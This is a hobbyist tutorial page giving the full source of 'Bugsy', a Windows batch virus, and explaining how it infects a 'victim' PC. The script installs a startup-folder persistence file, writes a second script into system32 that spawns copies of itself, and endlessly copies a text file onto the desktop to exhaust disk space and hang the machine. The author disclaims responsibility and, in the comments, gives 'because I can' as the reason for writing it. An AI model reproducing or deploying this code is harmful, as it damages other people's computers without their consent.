Introduction: Bugsy

About: Full time Technical Support Associate. Part time Web-Designer & Developer. What's left I spend trying to make stuff.

I love batch files, they are simple and easy to make yet they can do a lots of stuff.

More I love is making batch viruses. You might have seen those things and perhaps made some yourself. Mostly batch viruses consists of fork bombs or rabbit viruses, that open themselves or command prompt window over and over again till the PC hangs.

My Bugsy is a little different than others. Instead of just taking up RAM space by opening files, it takes up hard disk space also by creating .txt files which when the PC is shutdown do not disappear.

P.S.- IN NO WAY I (TANMAY DAS) AM RESPONSIBLE FOR ANY STUPID THING (including deleting your files, your friends or parent's files, school files) YOU DO WITH THE INFORMATION GIVEN HERE.

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Coding Bugsy

Here is the code for Bugsy

@echo off
title Bugsy
color 0d
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\carrot.bat" goto end
echo @echo off > "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\carrot.bat"
echo start "C:\WINDOWS\system32\bugsy.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\carrot.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\carrot.bat"

echo. > "C:\WINDOWS\system32\bug.txt"
echo  What's Up Doc!!!! >> "C:\WINDOWS\system32\bug.txt"
echo. >> "C:\WINDOWS\system32\bug.txt"
echo      (\(\ >> "C:\WINDOWS\system32\bug.txt"
echo     (='.') >> "C:\WINDOWS\system32\bug.txt"
echo  o(_")") >> "C:\WINDOWS\system32\bug.txt"

echo @echo off > "C:\WINDOWS\system32\bugsy.bat"
echo title Bugsy >> "C:\WINDOWS\system32\bugsy.bat"
echo color 0d >> "C:\WINDOWS\system32\bugsy.bat"
echo start %0 >> "C:\WINDOWS\system32\bugsy.bat"
echo start %0 >> "C:\WINDOWS\system32\bugsy.bat"
echo :top >> "C:\WINDOWS\system32\bugsy.bat"
echo copy "C:\WINDOWS\system32\bug.txt" "C:\Documents and Settings\%username%\Desktop\%random%.txt" >> "C:\WINDOWS\system32\bugsy.bat"
echo goto top >> "C:\WINDOWS\system32\bugsy.bat"

echo  Looks like I've been here......
echo  See you later

Copy and paste it in Notepad and save it as (anyname you want to give).bat

Step 2: How It Works

It works very simply.

It searches for carrot.bat in the Startup Folder in the victim's PC. If it finds such a file then it means that the victim is still infected with it and does nothing. If it does not find any such file then it creates the following files.
1) carrot.bat in the Startup Folder in C drive
2) bugsy.bat in the system32 folder in WINDOWS folder C drive
3) bug.txt in the system32 folder in WINDOWS folder C drive

Next time the PC boots, the carrot.bat will also be executed, which in turn will call bugsy.bat and close itself.

When bugsy executes it'll call itself 2 times and then repeatedly copy bug.txt on the desktop with random names. Every time bugsy is called it'll create more text files till you shutdown your PC.

But till carrot.bat is in the Startup folder, it'll call bugsy again. All the text files created will remain on the desktop hogging space.

Be the First to Share


    • Backyard Contest

      Backyard Contest
    • Silly Hats Speed Challenge

      Silly Hats Speed Challenge
    • Arduino Contest 2020

      Arduino Contest 2020

    4 Discussions


    6 years ago

    Why do this?

    Tanmay Das
    Tanmay Das

    Reply 6 years ago on Introduction

    Please be more precise.
    If you mean why I wrote the code then the ans is "BECAUSE I CAN"


    6 years ago on Step 2

    how do you remove this from a victims computer?

    Tanmay Das
    Tanmay Das

    Reply 6 years ago on Step 2

    First did you infected some one's computer or yours perhaps?
    In case you did just search for carrot.bat in the startup folder (remember the file is hidden). Delete it and you are done.